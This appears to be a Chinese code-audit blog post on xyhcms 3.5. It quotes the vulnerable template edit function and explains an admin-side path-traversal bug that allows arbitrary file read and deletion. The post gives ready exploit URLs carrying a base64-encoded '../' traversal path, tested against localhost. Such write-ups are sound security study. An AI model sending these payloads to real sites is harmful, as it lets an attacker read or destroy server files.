【代码审计】xyhcms3.5后台任意文件读取
1前言
一个很老的cms了,感谢小阳师傅给的练手cms,以下仅为此cms其中一个任意文件读取漏洞和任意文件删除漏洞的审计笔记。
2Cms目录分析
拿到这个cms的时候发现是基于thinkphp3.2.3的框架结构开发的,代码审计前,看了下thinkphp3.2.3的开发手册,在看了整体目录和部分代码后,对目录的一个分析(仅为个人见解):
└── uploads_code
├── App 默认应用目录
│ ├── Api (api接口)
│ ├── Common (公共模块,不能直接访问)
│ ├── Home (前台模块)
│ ├── Html (啥也没有)
│ ├── Manage (后台的功能模块)
│ ├── Mobile
│ └── Runtime (缓存)
├── Data 应该是一些后台的插件应用(默认就是那样的)
│ ├── config
│ ├── editor
│ ├── resource
│ └── static
├── Library cms图标
├── Include
│ ├── Common 公共函数目录
│ ├── Conf 配置文件目录
│ ├── Home
│ ├── Lang
│ ├── Library
│ ├── Mode 模型目录
│ ├── Runtime 缓存日志
│ └── Tpl
├── Install cms安装目录
│ ├── css
│ ├── images
│ ├── inc
│ └── tpl
├── Public 资源文件目录
│ ├── Home
│ └── Mobile
├── avatar
│ └── system
└── uploads 应该是一些上传后文件的存储位置
├── abc1
├── file1
├── img1
└── system
index.php 首页
xyhai.php 后台
3任意文件读取漏洞
先用seay对代码进行了一个自动审计,然后优先级是先看app目录下的审计结果。
根据seay的审计结果,定位到一个任意文件读取漏洞在/App/Manage/Controller/TempletsController.class.php下
继续通过seay工具定位到具体位置,发现漏洞是在edit函数下。
代码如下:
public function edit() {
$ftype = I('ftype', 0, 'intval');
$fname = I('fname', '', 'trim,htmlspecialchars');
$file_path = !$ftype ? './Public/Home/' . C('CFG_THEMESTYLE') . '/' : './Public/Mobile/' . C('CFG_MOBILE_THEMESTYLE') . '/';
if (IS_POST) {
if (empty($fname)) {
$this->error('未指定文件名');
}
$_ext = '.' . pathinfo($fname, PATHINFO_EXTENSION);
$_cfg_ext = C('TMPL_TEMPLATE_SUFFIX');
if ($_ext != $_cfg_ext) {
$this->error('文件后缀必须为"' . $_cfg_ext . '"');
}
$content = I('content', '', '');
$fname = ltrim($fname, './');
$truefile = $file_path . $fname;
if (false !== file_put_contents($truefile, $content)) {
$this->success('保存成功', U('index', array('ftype' => $ftype)));
} else {
$this->error('保存文件失败,请重试');
}
exit();
}
$fname = base64_decode($fname);
if (empty($fname)) {
$this->error('未指定要编辑的文件');
}
$truefile = $file_path . $fname;
if (!file_exists($truefile)) {
$this->error('文件不存在');
}
$content = file_get_contents($truefile);
if ($content === false) {
$this->error('读取文件失败');
}
$content = htmlspecialchars($content);
$this->assign('ftype', $ftype);
$this->assign('fname', $fname);
$this->assign('content', $content);
$this->assign('type', '修改模板');
$this->display();
}
声明了3个变量
$ftype 文件类型
$fname 文件名
$file_path 文件路径
然后进行了一个判断是否为POST传输,这段代码整体应该是对文件起一个保存的作用。非post传输的则会直接跳过这段代码
继续向下,将$fname 进行base64编码后进行输出,判断fname是否为空,非空则会拼接成完整的文件路径,然后判断文件是否存在,然进行读取文件内容。然后会将整内容这些显示在修改模板上。
利用方法:
(Ps:由于/App/Manage/是后台功能,所以此漏洞是需要进行后台登录的)
将需要进行读取的文件base64编码即可,例如读取我电脑上phpstudy默认生成的index.html文件
../../../../../index.html
http://127.0.0.1/xyhcms3.5/uploads_code/xyhai.php?s=/Templets/edit/fname/Li4vLi4vLi4vLi4vLi4vaW5kZXguaHRtbA==
4任意文件删除漏洞
同样在这个文件下,还存在一个任意文件删除漏洞。在124行的del函数下
这里的逻辑跟前面的edit函数 的任意文件读取差不多的。
将fname变量进行base64编码
然后判断传入的参数是否存在,进行文件地址拼接后执行删除等操作。利用方法也一样
http://127.0.0.1/xyhcms3.5/uploads_code/xyhai.php?s=/Templets/del/fname/Li4vLi4vLi4vLi4vLi4vaW5kZXguaHRtbA==
- django之对FileField字段的upload_to的设定
- JAVA_HOME环境变量失效的解决办法
- JBOSS EAP 6.0+ Standalone模式安装成Windows服务
- Django 设置media static
- Django---Ajax
- 利用Spring MVC搭建REST Service
- ehcache2.8.3入门示例:hello world
- day4、Linux基础题目
- 命令行执行Django脚本的方法
- Spring Security笔记:Hello World
- day5、文件乱码怎么解决
- javascript计算对象的长度
- Spring 4.0.2 学习笔记(2) - 自动注入及properties文件的使用
- day6、Linux下如何找出7天以前的文件删除
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Pandas处理时间序列数据的20个关键知识点
- CentOS7下的LNMP环境搭建Dedecms网站
- 持久层框架JPA与Mybatis该如何选型
- 技术分享 | Online DDL 工具 pt-osc
- 基于hexo框架搭建个人博客【技术创作训练营】
- 对比讲解lambda表达式与传统接口函数实现方式
- 如何使用Java8 Stream API对Map按键或值进行排序
- TencentOS tiny RTOS快速入门
- Nginx用户认证与域名重定向
- LNMP架构介绍与搭建
- Mac 最新版Python3.7.4安装配置,设置默认python版本
- 15个应该掌握的Jupyter Notebook 使用技巧
- python 环境重启方法,系统环境变量配置后python生效设置方法
- 快速上手 WebAssembly 应用开发:Emscripten 使用入门
- Python爬虫之mongodb的索引操作